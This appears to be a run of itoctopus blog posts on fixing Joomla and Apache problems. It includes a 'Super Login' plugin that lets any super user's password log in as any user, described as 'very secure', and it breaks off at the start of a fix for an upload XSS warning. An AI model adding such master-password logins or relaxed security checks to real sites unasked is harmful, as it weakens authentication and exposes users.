A quick research revealed that the issue was related to his browser having a huge cookie that was bigger than the maximum size allowed by the server. So, a fast solution to the problem was to ask him to clear his cookies on his browser. However, that didn’t technically solve the problem, it just made the problem go away. But, we know that these problems are like seagulls, when you shoo them away, they will leave, but they will eventually return.

So, we had to solve this problem at its root, and solving it at its root meant that we had to increase the maximum size of the cookie allowed by the server at the server level. We did this the following way :

  • We ssh’d to the server as root.
  • We opened the file httpd.conf located under the /usr/local/apache/conf/ folder.

  • We added the following line to the very beginning of the file:

    LimitRequestFieldSize 16384

  • We saved the file and we restarted Apache.

  • The problem was solved!

Note that the location of the httpd.conf file may vary from one Linux distribution to another. The location specified in the guide above applies to a CentOS (WHM) server.

Additionally, note that the above solution can only be implemented if you have root access to your server (e.g. if you have a VPS or a dedicated server). If you are on a shared hosting, then your best option would be to contact your host and ask them to increase the LimitRequestFieldSize value for you (keep in mind that your host will probably refuse as this will open a whole can of worms for them – so, your other best option would be to move to a VPS or a dedicated server).

But, what is the default value of LimitRequestFieldSize?

The default value of LimitRequestFieldSize is 8190 (speaking a bit more technically, the 8190 is the default maximum size of the HTTP request header field). Typically, most websites do not need to go over the default limit, but some websites store a lot of data in their cookies, causing the limit to be exceeded, and eventually causing the problem described in this post.

Can the problem be fixed at the .htaccess level?

Unfortunately, no, it can’t be fixed there. It can only be fixed at the httpd.conf level (hence the problem cannot be fixed if you are on a shared hosting).

If you have the same problem on your website, then try, before clearing your cookies, to fix the problem at the server level by modifying the httpd.conf file. The reason why it’s better to fix the problem before clearing your cookies is to make sure that you actually fixed the problem. If the problem is still there, then please contact us. We’ll fix it for you in as little time as possible and for a super affordable fee!

Super Login: A Free Joomla Plugin that Allows a Super User to Login as Any User

At itoctopus, we test our clients’ Joomla websites constantly, so much that we have developed Joomla plugins that will help us in the testing. One of the plugins that we have developed and that we constantly use is the Super Login plugin, which allows us to login as any user to the Joomla website with that user’s username and our super user password.

For example, if we have jeff as one username on a certain Joomla website that we manage, and the password for jeff is jeff123, and there is a super user called admin on that same website with admin123 as password, then we can (if we have the Super Login authentication plugin installed and enabled) login as jeff with the following credentials:

Username: jeff
Password: admin123 (instead of jeff123)

What’s interesting is that once we are logged in as jeff using our password, we will have all the rights/privileges for the jeff username, it’s exactly like logging in as jeff (think about it as if jeff has one username and two passwords).

We have developed and maintained this plugin for years now but we have just revamped it for public release, and because we are very generous, we are offering it to our readers for free. It can be downloaded here.

The Super Login plugin is revamped for Joomla 3.x and is built on top of the Authentication core Joomla plugin. Joomla 2.5.x compatibility is possible with little or no modification – we used to use it on Joomla 2.5.x, but we have modified it heavily since (that’s why were not sure if it’ll work or not).

The plugin, for security reasons, will not allow a super user to login as another super user (if you really need to allow this then a quick modification to the code will address this limitation). Additionally, and also for security reasons, the plugin will only check 10 super users for a matching password. So, if you have more than 10 super users, then only the first 10 will be considered (in any case, we don’t think that any Joomla website should have more than 10 users).

The way the plugin works is as follows:

  • It first checks whether the username provided actually exists. If it doesn’t, then the plugin throws an error message and the authentication fails.
  • It then checks if the username belongs to a super user. If it does, then it throws an error message and the authentication fails.

  • It then gets the Group ID for super users (super administrators). Typically their Group Id is 8, but the plugin is intelligent enough to handle any change in that number on heavily modified websites (or in case Joomla decides to assign super users another Group Id).

  • The plugin then grabs a maximum of 10 super users from the #__users table for comparison.

  • It then loops through the super users, until it finds a super user with a matching password. Once it does, it logs the user in with the username entered.

So, is this plugin secure?

We can confirm that it’s very secure. Again, it’s built on top of the Joomla core authentication plugin, which is, undeniably, very secure. Neverthless, it’s important to note that the plugin doesn’t have any DoS protection, which is why we have limited the number of checked super users to 10.

When is this plugin useful?

This plugin is useful when you want, for example, to login to the backend as another user to see what the other user sees and what he can do (after creating that user or after changing the role granted to that user). It’s also useful in the frontend for the very same reasons.

Why is this plugin free?

Well, it’s obvious isn’t it? Because we love Joomla and we love our readers, and we’re doing out best to keep Joomla at the helm with useful, clean, and sophisticated extensions. And, before you ask, it’s really free, there are no hidden links anywhere and you don’t have to buy anything (unless, of course, you want us to support it).

The plugin’s installation is super simple. Just install it from the Extension Manager, and then enable it (make sure that it’s ordered last among enabled authentication plugins). If after installing it and enabling it, the plugin didn’t work for you for some reason, then please contact us, but note that we charge fees for supporting this plugin. Also, last but not least, please keep in mind that this plugin is provided as-is and comes with no guarantees whatsoever, and we can’t be held responsible for any issue, either major or minor, resulting directly or indirectly from the use of this plugin.

Administrator Menu Not Appearing in Joomla’s Backend

We had a very curious case today: an occasional customer of ours emailed us and told us that for the past few months they weren’t able to see the administrator menu in the backend. They temporarily addressed the problem by installing an extension called Admin Menu Manager, which provided an alternative for generating the admin menu.

Of course, that wasn’t an ideal solution, and that’s why they came to us. The first thing that we did was uninstalling the Admin Menu Manager extension, and when we did that, the backend was menuless (yes, we just invented a word!).

At first, we thought that there was an error somewhere in the menu (non-fatal error) that was causing this issue, so we set Error Reporting to Maximum in the global configuration settings, but the website was clean as snow, it was errorless (that’s two words already!), which really meant one of the following 5 things:

  1. There is corruption at the ACL (Access Control List) level.
  2. The Administrator Menu module is disabled.

  3. The Administrator Menu module is trashed/deleted.

  4. The Administrator Menu extension is disabled.

  5. The Administrator Menu extension is uninstalled.

So, the first thing that we checked was the ACL corruption, and, after a quick glimpse at the ACL tables in the database, we were able to confirm that the issue was not there.

The next thing to do was checking the Extensions -> Modules page (which we accessed using the following URL: [www.ourclientjoomlawebsite.com]administrator/index.php?option=com_modules ) to see if there was a module called Admin Menu of type Administrator Menu with a Special access and assigned to the menu position (of course, we needed to switch the Filter on the left from Site to Administrator first) – there wasn’t! Checking the trashed modules revealed nothing, which primarily meant that the module was trashed and then deleted. Weird…

So, we tried recreating the module by just clicking on the New button (on the top left) when in the Modules page, but, to our surprise, there was no option to create an Administrator Menu module, the list of possible modules started with Administrator Sub-Menu. Huh… This probably meant that the Administrator Menu extension was either disabled or uninstalled.

So, we went to the Extensions -> Manage page (which we accessed from [www.ourclientjoomlawebsite.com]/administrator/index.php?option=com_installer), and then we clicked the Manage tab on the left, and then we searched for the extension named Administrator Menu (we expected it to be disabled), but it wasn’t even there! This core extension was uninstalled by someone (or something). This meant that we had to re-install it, and so, we created an installable version of this core extension manually the following way:

  • We downloaded a fresh Joomla install.
  • We extracted that install and then we navigated to the administrator/modules/mod_menu folder.

  • We then copied the en-GB.mod_menu.ini and the en-GB.mod_menu.sys.ini files from the administrator/language/en-GB folder to the above directory (administrator/modules/mod_menu).

  • We then compressed (zipped) the contents of the mod_menu directory (we made sure that we compressed the contents of the directory, and not the directory itself). Note: the resulting compressed mod_menu can be found here (note that this is extracted from a Joomla 3.4.5 install, but it can be used on any Joomla 3 website).

  • We installed the menu extension created in the previous step by going here [www.ourclientjoomlawebsite.com]/administrator/index.php?option=com_installer&view=install and then uploading the zipped file, and voilà, the backend menu appeared in all of its glory! The problem was fixed, hooray!

If the Administrator Menu is not appearing in the backend of your Joomla website, then try following the above guide to locate and fix the issue. If it doesn’t work for you, or if you feel that it’s a bit over your head, then please contact us. We will fix the problem for you at a very affordable price and in the cleanest way possible!

20 Questions You Should Be Asking Yourself If Your Joomla Website Is Slow

A substantial chunk of our work consists of optimizing Joomla websites. As such, we have gathered over the years a vast experience in that particular field and we almost know every variation of the problem as well as its causes. In this post, we would like to share our knowledge with our readers by providing them with the 20 questions that we usually ask ourselves (well, they’re really 19 questions + a final question that only you – and not us – can ask) when we’re handed over a Joomla optimization task.

  1. Is your Joomla website really slow?

    Yes, that might be a weird question, but let us tell you a little story after which you will probably feel that this first question isn’t that weird after all! Yesterday, we had a client whose Joomla website was loading in 14 seconds (yes, fourteen seconds). After thorough investigation and a lot of optimization, we discovered that the main problem lied with a 3rd party JavaScript widget that is used to load ads (and no, it’s not DoubleClick). Obviously, this is not a Joomla problem… So, before (mis)judging your Joomla website, check whether you have some JavaScript code (ads, social widgets, etc…) that is causing the delay in the loading of the website.

    Google PageSpeed Insights is a great tool that tells you whether the problem is from your Joomla website or not. If your server response time is higher than 1 second, then the problem is definitely from your website, otherwise, it might be something else.

  2. Is your Joomla website slow only at the time when you’re posting articles to the website?

    If you notice a significant lag on your Joomla website when you’re posting new articles, then this is usually primarily related to one of the following: Smart Search and/or the assets table. Let’s start with Smart Search: every time you create/update an article on the website then the Smart Search plugin, if enabled, will insert all possible search queries in the Joomla database (in *finder* tables), an action that causes a huge load on large Joomla websites. The irony is, the absolute majority of Joomla websites don’t even use the Smart Search functionality but still, they have all the Smart Search plugins enabled. Obviously, addressing this problem consists of disabling all the plugins starting with Smart Search in Joomla’s backend, and, if you’re one of the rare Joomla administrators who actually use Smart Search, then we suggest you try Sphinx to power your Joomla’ search engine, which is much, much faster and way, way lighter on your server.

    Moving to the assets table, which was discussed before, then all you need to do is to regularly clean it (clean it, and not clear it!), and you shouldn’t have any problems because of it anymore.

    Of course, there are other issues that might be causing slowdowns on the website when new articles are posted, but the root of these issues is typically a plugin that runs when articles are saved (so check your 3rd party plugins one by one until you find the culprit).

  3. Is your Joomla website slow during off hours?

    A couple of months ago, a client called us and told us that every day, at around 2 AM, his website slowed down to a crawl for about 30 minutes. A quick investigation of the issue revealed that the website (which was a huge website) was being backed up at the time, and, during the database backup, MySQL was experiencing a very high load causing the website to be super slow (often crashing the website for a few minutes). Fixing the problem consisted of dropping all the test databases/test tables, clearing large tables which data is not needed, disabling database powered stats (such as disabling Exim’s stats), and excluding some directories from being backed up (of course, this has nothing to do with MySQL, but it lessens the load on the file system).

  4. Are you using InnoDB or MyISAM?

    There are many existential debates in this world, such as the chicken and the egg debate (which came first), the white bread vs. whole wheat debate, the computer vs. the tablet debate, and, of course, the MyISAM vs. the InnoDB debate. We’re among those who believe that MyISAM is significantly faster than InnoDB (MyISAM and InnoDB are both storage engines in MySQL), and we are basing our information on the many Joomla websites we have optimized. So, if you are using InnoDB, then try switching to MyISAM and see if that helps improve the speed on your website. (By the way, if you really want to know, we think that the chicken came before the egg, we think that the white bread is better and tastier than whole wheat bread, and we definitely prefer computer over tablets).

  5. Are you positively, absolutely sure your website is not hacked?

    Some Joomla websites that we were commissioned to optimize turned out to be hacked. These websites were grabbing remote content (using curl) from malicious websites, and this was causing the slowdown as these malicious websites were very slow to respond and the website had to grab the malicious content before loading. We examined a case here. Scan your website, or, better yet, hire some experts (such as, ahem, us) to check whether your website is hacked or not.

  6. Have you checked your firewall log?

    In one rare instance, the slowness of a Joomla website that we examined was caused by the firewall. In short, the firewall was over-protecting the website from flooding (with SYN_FLOOD), and was incorrectly interpreting multiple connections made from the same page (to load images, CSS, and JS files) as a DoS attack. Fixing this problem consisted of a quick call to the host which resolved the problem by tweaking the firewall settings.

  7. Have you checked that your Apache configuration can handle the number of connected clients that you’re getting?

    In Apache’s configuration, there is a setting that will cap the maximum number of clients (workers), and each client is needed to serve on visitor. If you get a number of simultaneous visitors higher than your specified number of clients, then Apache will queue those visitors, resulting in a dramatic overall drop in the performance of the website. To check whether you have this problem or not, you will need to check the Server Status -> Apache Status page in WHM, if you see something like 0 idle workers, then this means that you will need to increase your maximum number of clients. This can be done from WHM as described here.

  8. Are you using any kind of caching on your website?

    If your website is gradually slowing, then you should consider using caching on the website. You should start with enabling Conservative Caching in the global configuration settings of your Joomla website, and then, if that doesn’t help things tremendously, you should enable the System – Cache plugin in your Plugin Manager (note that you should only do this as a last resort, or if you can’t afford to hire some experts to optimize your Joomla website, since the System – Cache plugin typically causes many conflicts and erratic behaviors). Also, make sure you enable template-specific caching if available (heavy templates usually have their own caching mechanism that has to be enabled separately).

  9. Do you have the necessary horsepower on your server?

    A few weeks ago, we have worked on a super large Joomla website which resided on a very old box with only 8 Gigabytes of RAM and a not so powerful quad core processor. That website, in our opinion, should reside on a very powerful server with at least 32 GB of RAM and a 48 core processor. We did manage to optimize it, but it was a costly operation for the client (who was informed in advance that the website was running on an inadequate server). Sadly, there is no secret formula that can tell you what kind of processing power (and RAM) is needed based on your number of pages and your number of hits because there are so many variables and unknowns that must be accounted for in such a formula (which, again, doesn’t exist). So, the only way to know that you need a bigger server is that if you notice that your RAM and your swap is entirely allocated almost all of the time and/or your CPU load is constantly high. By the way, an SSD drive is always a good idea as it speeds up filesystem access very noticeably (especially when it comes to write activities).

  10. Have you checked your MySQL slow query log?

    The MySQL slow query log is an indispensable tool to locate bottleneck queries. We use it in every Joomla optimization job that we get because it tells us the exact queries that are taking a long time to execute which helps us optimize these queries (or optimize the underlying tables/fields). When we work with the slow query log, we first address the queries that are taking a long time to execute, and then we attack the queries that appear in the log frequently.

  11. Have you checked that the long_query_time is set to 1 second in your my.cnf MySQL configuration file?

    If you examined the MySQL slow query log and saw nothing, despite the fact that slow query logging is enabled in the my.cnf file, then you should check whether the long_query_time setting, which defaults to 10 seconds, is set to 1 second in the my.cnf file. This will give you access to all the slow queries, not just those that take 10 seconds or more (it might be that you have a barrage of 1-second queries that are slowing down your website).

  12. Are you getting a sudden, unexplainable spike in your website’s traffic? It might be that your website is under a DoS (Denial of Service) attack which typically causes severe load issues on the server, and subsequently the website. You should check your logs, and, if you found anything suspicious, then you should consult with your host in order to block these attacks. There are also some extensions in Joomla that block DDoS attacks, but we don’t think highly of them since they are typically heavy and they often cause mysterious problems.

  13. Are you using all the extensions that you have installed on your website?

    The number of extensions that you have on your Joomla website is inversely proportional to its speed (and to its security). Surely, you are probably thinking, “but these extensions are doing nothing on the website and they have no data whatsoever”. That, of course, might be true, but many extensions come with plugins that may be running on each page load, affecting your page load speed. If you’re not using these extensions, then the best thing that you can do is to uninstall them!

  14. Have you done anything unusual on your website recently?

    Have you installed/uninstalled an extension? Have you updated an extension? Have you modified the ACLs? Have you asked a developer to work on your website? Have you modified the core in any way? Have you added something to your .htaccess file? Have you switched to another server/host or has your host upgraded applications on your server? (OK, that’s not really done on your website, but it’s definitely worth mentioning). If you have done any of the above, then your problem might just be there. Try, if possible, to revert to a backup to see if that resolves the problem.

  15. Is the problem happening on all the website?

    If the problem is just happening on one or a few pages on your website, then the slowdown might be caused by a module. Check the modules assigned to those pages and unassign them one by one until the problem is resolved (you will then be able to find the culprit module).

    If, after doing that, you still have slow load speeds on those particular pages, then the issue might be caused by a condition hardcoded in your template or it might be that these pages are using a different, slower template.

  16. Have you tried switching to a core Joomla template?

    Some templates, especially responsive templates, are heavy, very very heavy! If you’re using a template that you think is a bit heavy then try switching to a core Joomla template (such as a beez template) and see if that solves the problem. If you see a noticeable improvement after doing that, then don’t rejoice immediately, as it might not be the template, but it might be one or more modules with positions assigned in your original template but non-existent in the core Joomla template (please answer the previous question before answering this one).

  17. Have you checked your Google Webmaster Tools?

    Your Google Webmaster Tools can reveal some important information about your website when it comes to performance, particularly on when the performance problems started. This will probably give you a better idea on where to look to address the problem.

  18. Have you switched to a MEMORY based session table?

    The #__session table is probably the busiest table in any Joomla website, and, since the data in that table is not critical, then you can safely use the super fast MEMORY storage engine for this table. A discussion on how to do this is available here. That little change that you will make on the #__session table will yield exceptional results, trust us on this one (well, you can always try it without trusting us!)!

  19. Have you just upgraded/migrated your Joomla website?

    We don’t like to say it, but this is a fact: Joomla 1. 5 is faster than Joomla 2.5, and Joomla 2.5 is faster than Joomla 3.x, and, for some reason, we have a hunch that Joomla 3.x will be faster than Joomla 4.x. So, if you just upgraded/migrated your Joomla website then expect a degradation in the overall site’s performance until you perform some much needed optimization (that is the case especially when you’re running a high traffic and large Joomla website).

And, last but certainly not least…

  1. Have you contacted itoctopus?

    If you haven’t contacted us yet, then don’t be a stranger! We will definitely discover what the issue is and we will get your website running smoothly affordably, quickly, and cleanly! We’re always here for you – and for your Joomla website.

Creating a New Article in Joomla Taking a Long Time? Read This!

We had a client today complaining that when he clicks on the New button in Joomla’s Article Manager page, he has to wait for a long time for the Add New Article page to appear (the problem also happens when he clicks on an existing article in the Article Manager page to edit it). We did a quick analysis which revealed that the page was taking about 8 seconds to load, which is not normal since this page should take less than a half a second to load under normal circumstances.

Naturally, the first thing that we did was checking the slow queries in the MySQL Slow Query Log, but, alas, no slow query was logged there. This meant that the cause of the slowdown might be a hack, a rogue extension, or a batch of very similar queries being executed at the same time (typically in a while loop). We felt that this wasn’t going to be an easy task!

Luckily, we were wrong, since the first thing that we did was checking the HTML code generated on the New Article page (in order to see whether there was a malicious JavaScript there), and while doing that, we noticed one thing, there were 7,000+ tags being loaded into that new page! Naturally, we suspected that it was the huge number of tags causing the slowness, and so we completely removed the Tags field from the page the following way:

  • We opened the file article.xml located under the administrator/components/com_content/models folder.
  • We removed the following code:

    <field name="tags"
    	type="tag"
    	label="JTAG"
    	description="JTAG_DESC"
    	class="span12"
    	multiple="true"
    >
    </field>

  • We saved the file and uploaded it back.

  • We tested the Add New Article page, and, surprise surprise (well, not really a surprise, let alone two surprises), the page loaded in less than a second as it should be! (Removing the above XML content ensured that the Tags input box will no longer be loaded.)

Aha! So the reason was the huge number of tags! But of course, we can’t tell our client, who heavily relies on tags on his Joomla website not to use them, so we had to find an alternative solution to optimize the loading of this page, and so we did, and here it is:

  • We opened the file tag.php located under the libraries/cms/form/field folder.
  • We changed the following code:

    $query = $db->getQuery(true)
    	->select('DISTINCT a.id AS value, a.path, a.title AS text, a.level, a.published, a.lft')
    	->from('#__tags AS a')
    	->join('LEFT', $db->qn('#__tags') . ' AS b ON a.lft > b.lft AND a.rgt < b.rgt');

    to:

    $query = $db->getQuery(true)
    	->select('DISTINCT a.id AS value, a.path, a.title AS text, a.level, a.published, a.lft')
    	->from('#__tags AS a');

  • We removed the following lines:

    // Prepare nested data
    if ($this->isNested())
    {
    	$this->prepareOptionsNested($options);
    }
    else
    {
    	$options = JHelperTags::convertPathsToNames($options);
    }

  • We then saved the file and uploaded it back.

  • We reverted the changes we did on the aforementioned article.xml and we monitored the loading page and it still loaded in under a second! The problem was solved and we were able to keep the Tags field!

We probably have mentioned this before, we don’t like tags (in fact, we did, we did mention this before)! And that’s just another reason why we don’t like them and whey they should be avoided, yet people still use them and some extensions also use them (in a subtle way – in fact, the tags on our client’s website were generated by HWD MediaShare, which is a 3rd party media extension). But, if you’re stuck with them and it’s taking your website a long time to load the Add New Article page, then try the above solution and hopefully it should work for you. If it doesn’t, or if the solution presented here sounds a bit intimidating, then please contact us. We will solve your problem quickly, professionally, and for a very affordable fee!

How to Minimize Writes to Joomla’s Session Table to Reduce MySQL Load

Note: The solution presented in this post requires a core modification. As you may probably know by now, core modifications are delicate and may be wiped out with the next Joomla update. Please proceed with caution if you elect to implement the below.

If you’re running a high traffic Joomla website, then you probably have already noticed that a huge number of queries are actually updates to the #__session table. This is because every page load on the website creates/deletes/updates a row in the #__session. Naturally, these heavy write activities (again, we are talking about websites with a considerable amount of traffic) may cause load issues on the server.

Of course, you can always switch the #__session table’s storage engine to Memory instead of MyISAM or InnoDB, which is a good practice that we encourage, but this won’t solve the issue completely, because all these write activities, even on Memory tables, can still cause load issues (this is because every time any table is updated, all the MySQL query cache related to that table in any way will be wiped out).

Now, in order to reduce write activities to the #__session table on large websites, we have devised a quick, but very efficient, solution that requires a core modification. Here it is:

  • Open the file database.php located under the libraries/joomla/session/storage folder.
  • At the very beginning of the method write (which is defined around line 68 in Joomla 3.4.4) of the aforementioned database.php file, add the following code:

    if (JRequest::getVar( 'view' ) == 'article' || JRequest::getVar( 'view' ) == 'category'){
    	return true;
    }

  • Save the file and upload it back.

Once you do the above, you will notice a slight-but-not-very-slight drop in the load of the database server, since Joomla will no longer write to the session table when someone is just viewing an article or a category. Not too bad for a couple of lines of code, huh?

If you want to implement the above solution and you need help (or if you implemented the above solution and you noticed that it didn’t work for you), then please contact us. We will implement it for you for a very affordable fee, we’ll make sure that it really works, and you will gain new friends!

Byte Order Mark (BOM), Joomla, and Why You Can’t Login to Your Website

Late last night, a new client called us and told us that he can’t login to his Joomla website; that he’s being redirected to the login page with no errors when he logs in with either correct or wrong credentials. Of course, we’ve seen this issue several times, and so we thought it was an easy task, but we were wrong.

The problem with this task is that there were several issues causing the problem, and, if that wasn’t enough, there was a unpredictable twist that made our eyes bleed (they still are very red!). Let’s start with the normal issues:

  • The log and the tmp folders defined in the configuration.php file were wrong. We suspect the cause of the issue was a change in the environment (we don’t really like it when hosts change environments on Joomla administrators without telling them).
  • Apache was not able to write to the current session path, so we explicitly forced Apache to use another folder to save session data to by adding the following code (note that the below code is specific to Windows and is specific to our client’s filesystem):

    session_save_path(‘C:\\sites\\webroot\\joomla\\tmp’);

  • The session.php located under the libraries/joomla/session/ folder had the session_start line commented out. We really have no idea how that happened, but we think it was a developer who was trying to solve the problem but ended up creating a bigger problem. The reason why we think so is because when we uncommented this line out, we started seeing the following error on every page:

    php – Warning: session_start() [function.session-start]: Cannot send session cookie – headers already sent by (output started at configuration.php…).

After doing all the above, we still had a problem logging in, but the warning generated by fixing the last issue gave us a hint on what the idea was: the configuration.php file was outputting something when it shouldn’t (any output prior to initializing the session will break it and will cause the session to being re-initialized on every refresh, causing the login to fail). The problem is, we checked, double-checked, triple-checked, zillion-checked the configuration.php file and we couldn’t find any issue: there was no trailing space neither before the opening PHP tag nor after the closing PHP tag.

So we started banging our heads against every wall in the office, and between each bang, we checked the configuration.php file one more time to see if the problem is there. And then, suddenly, a mix of luck and inspiration merged into a huge lightning that hit us, making us notice that the configuration.php file was saved in UTF-8 format, with signature. Ah ha! So the configuration.php file had a Byte Order Mark (BOM) that was causing the issue.

We saved the configuration.php file in UTF-8 format, without signature (using EmEditor, which is, in our very humble opinion, the best editor out there) and that fixed the problem.

But what is a “Byte Order Mark”?

Without getting into too much details, a Byte Order Mark (BOM) is an invisible unicode character (which is, if you really need to know, U+FEFF) that is added to the beginning of a file to let the application using the file know which byte order the file is using. When you save a UTF-8 file with signature, then the BOM is added to the beginning of the file.

But why was the BOM added to the configuration.php file?

The BOM was added to the configuration.php file because our client had Thai characters in that file (specifically in the $MetaDesc, $MetaKeys, and the $MetaTitle values of that file), and used the host’s File Manager to save that file, and that File Manager was saving files with UTF-8 characters with signature (which it should have saved such files without signature). By the way, Notepad saves any UTF-8 encoded file with signature, which is why you should use an editor such as, ahem, EmEditor (we swear we are not making money every time we mention that editor) which allows the user to save a file in UTF-8 without signature.

If you’re having login issues to your Joomla website and you’re not seeing errors, then check, in addition to the methods described in the posts linked to above, that your configuration.php is saved in UTF-8 without signature (if it is already saved in UTF-8). If you’re still having problems, then your best option would be to contact us. We’ll solve the problem rapidly, affordably, and efficiently, and we promise you that we will be your friends as long as we live!

Large Joomla Websites Need Powerful Servers

For the past few days, we were working on optimizing a super large Joomla website. No, make that mega-large: we’re talking about a website that gets 100,000 uniques and around 700,000 impressions every day (yes, that’s every day). The website in question is a news website that is ranked in the top 20 websites in its respective country. The website was just migrated from Joomla 2.5.28 to Joomla 3.4.4, and it wasn’t working post migration. Needless to say, it was both a stressful and exciting experience to work on such a website.

We did many, many things to make it work. The most important things that we did were the following:

  • Disabling PHP session write activities for guests. This was done by adding the following line to the very beginning of the function write in the file database.php located under the libraries/joomla/sessions/storage folder:

    $app = JFactory::getApplication();
    if ($app->isSite())
    	return true;

  • Optimizing the articles.php model file located under the components/com_content/models folder as described here (note that this guide still works beautifully for Joomla 3.x).

  • Other optimizations.

The problem was that despite all our above efforts, we were only successful in making the website work for like 10 minutes before MySQL crashing. There was significant progress (the website wasn’t even working at all), but still, the website was still crashing. Obviously, we needed to do something drastic. So we followed this process:

  • We allowed access to the website.
  • The MySQL slow query log was getting filled with slow queries.

  • We blocked access to the website.

  • We optimized the slow queries that we found in the log.

  • We cleared the log.

  • We repeated the above process until the website worked.

Once we finished the work, we started thinking: yes, it’s a huge website with significant traffic, but we worked on similar websites before, and they weren’t that hard to optimize. What was different this time?

It didn’t take us long to discover the difference between this website and other similar websites that we worked on: the website resided on an old server with 8 gigabytes of RAM, a 4 core processor, and an old, slow hard disk. To put things in perspective, our work laptops have 16 gigabytes of RAM, 4 core i7 processors, and SSD drives! Which means that our laptops are much faster than the server powering a website that gets about 3 million uniques every month!

After finishing the job, we communicated our findings to our client, and we told him that most of the optimizations that we did were not really needed had the website resided on a powerful server. In our opinion, that website needs at least a 64 core server with 64 gigabytes of RAM and an SSD drive to work smoothly. The fact that it is working smoothly now is (very humbly) pretty impressive.

The message that we want to convey in this post (besides the one where we’re bragging about our 16 GB of RAM Japanese laptops) is that large Joomla websites really need powerful servers (we know, duh), and sometimes, Joomla is not the real culprit behind a website’s poor performance. So, if your website is running slow and you’re not sure whether you need to optimize Joomla or upgrade your server, then let us know. We will give you an honest assessment of your environment, letting you know whether you need to update your server, optimize Joomla, or both! Oh, and we won’t charge you much!

How to Add the Google Tag Manager’s Code to Your Joomla Website

We are getting an increasing number of requests asking us to add the JavaScript code for the Google Tag Manager (which is another tracking tool mainly used by marketing departments). We have decided, in this post, to share a quick and simple guide on how to do this.

First thing you will need is to ensure that you have, in the index.php file located under your templates/[your-template] folder, the following code just under the <jdoc:include type=”head” /> line:

<jdoc:include type="modules" name="code" />

If the above line is not there, then you should add it, and then save the index.php file and upload it back to your website.

The next step would be to create an override for the Custom HTML module’s layout as described here in order to remove the unnecessary div tag (which will, unsurprisingly, break the HTML compliance of your website since you can’t have a div tag in the head section in standard HTML).

Once that is done, you should create a Custom HTML module with the following content (make sure that your editor allows you to type in JavaScript code):

<!-- Google Tag Manager -->
<noscript><iframe src="//www.googletagmanager.com/ns.html?id=[YOUR GOOGLE TAG MANAGER ID]"
height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'//www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','[YOUR GOOGLE TAG MANAGER ID]');</script>
<!-- End Google Tag Manager -->

(You will need to change [YOUR GOOGLE TAG MANAGER ID] with your own).

You should then assign the module to all the pages, and you must ensure that its position is set to code (you should hard type code in the Position field even if it’s not in the dropdown). You must also ensure that, in the Advanced Options tab, the Alternative Layout is set to nodiv (that is if you followed the above guide on overriding the output of the Custom HTML module).

Now, there is just one small thing to do, which is completely clearing the cache on your Joomla website (as well as that of your template, if it has its own caching mechanism).

If you followed the above instructions, then go ahead and show the world your beautiful smile of success because your website has now the Google Tag Manager installed!

Of course, Google Tag Manager is a vast realm, and it’s possible that you will need to send Google some specific information about your website’s content. If that is the case, then feel free to contact us. We’ll be happy to do this for you professionally, cleanly, and without taking much of your money

Hit Tracking Not Working when Joomla’s Caching Is Enabled: How to Solve

Joomla’s issues caused by caching are many, but one of these issues is extremely annoying and we are surprised how the Joomla development team hasn’t come up with a solid solution to it yet. In case you’re still wondering what the issue is, then it is no other than the conflict between hit counting and caching. Here’s the problem in details:

  • You enable caching on your website (any type of caching – even Conservative Caching).
  • Joomla caches the content item or the whole page (depending on the type of caching you apply, System Caching will cache the whole page, and Conservative Caching will just cache the content item).

  • When a visitor visits a page, then Joomla checks first if the there is a cached version of the page or the requested content item, and if there is, then Joomla will serve the cached version, if not, then Joomla processes the request, serves the page, and then creates the cached version of that page/content item. If the page/content item is already cached (which is the case in about 99% of the visits), then Joomla will not count the visit as a hit as the script that runs to increment the number of visits does not run on a cached version of the content item or the page.

If you’re a technical person, then you will know that it is really hard to solve the above problem without any core modification since the problem lies in the core (if you’re not a technical problem, then you should just take our word for it). However, at itoctopus, we have devised a method that will address the caching problem without core modifications. Here’s how:

  • Open the file default.php under the templates/[your-joomla-template]/html/com_content/article folder.
  • At the end of the file, add the following two lines:

    <script src="//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
    <script>$.get( "<?php echo(JURI::root()); ?>updateHits.php", { articleId: "<?php echo($this->item->id); ?>"} );</script>

    (Note that the first line is not needed if you already have jQuery loaded.)

  • Upload this file (after extracting it) to the root folder of your Joomla website.

  • Clear your Joomla cache.

  • That’s it! That’s really it! Now your website can track the hits of your cached items.

But, how can the above method solve the problem?

The above method solves the problem because the cached content item/page will always contain the JavaScript code that will increment the number of hits, and so that code will always run even if the content item/page is cached.

But, does the above method provide 100% accuracy?

No – and we don’t think anyone out there needs to track the number of hits with a 100% accuracy since many hits come from bots (even on low traffic websites). In any case, the reason why the above method doesn’t provide 100% accuracy is because the number of hits will be incremented twice on non-cached items: 1) by Joomla’s core, and 2) by our code above. Of course, the margin of error in detecting hits is negligible but there’ll still be a margin of error.

If you want 100% accuracy when tracking hits through your Joomla website, then you should consider disabling hit tracking (note that doing that will mean a change to your Joomla core).

But, why should anyone care about the number of hits in Joomla?

Well, if you have a module that lists your “most read articles” on your website and your hit tracking is not working properly because of caching, then most likely the information displayed in the module will be wrong (your important articles will not be displayed, and your non-important articles will be displayed – at the very least the ordering of your most important articles will be wrong).

Does the above method work on K2?

No – but K2’s hit tracking doesn’t have any conflicts with caching. So you shouldn’t need it for K2.

Now, if you’re running into the same dilemma as the majority of Joomla administrators out there (e.g. hit tracking is not working when you have any kind of caching turned on), then try implementing the above – it should solve your problem and your Joomla website should track your articles’ hits reliably. If you think the above is somehow in the advanced realm (or maybe in the twilight zone), then fear not… Just contact us and we’ll do it for you for a very, very affordable fee. Note that a sufficient mix of love, friendliness, and professionalism is always added for free!

“Possible IE XSS Attack found.” when Trying to Upload a File in the Media Manager

Note: The solution presented in this post requires, ahem, a slight modification in a core file. Proceed with caution, and keep in mind that any change you make may be no more when you update your Joomla website.

A couple of hours ago, a high level developer working for a major client of ours told us that she was getting the following error while trying to upload an HTML file in the Media Manager:

“Possible IE XSS Attack found.”

Without giving the issue much thought, we told her to do the following:

  • Login to the backend of the Joomla website.
  • Click on Content -> Media Manager.

  • Click on Options on the top right.

